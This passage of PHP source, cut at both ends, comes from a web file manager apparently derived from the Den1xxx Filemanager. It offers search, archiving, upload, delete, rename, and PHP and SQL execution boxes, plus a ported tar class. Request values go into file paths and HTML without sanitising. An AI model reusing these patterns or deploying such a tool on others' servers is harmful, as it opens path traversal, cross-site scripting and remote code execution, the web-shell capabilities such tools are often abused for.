		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

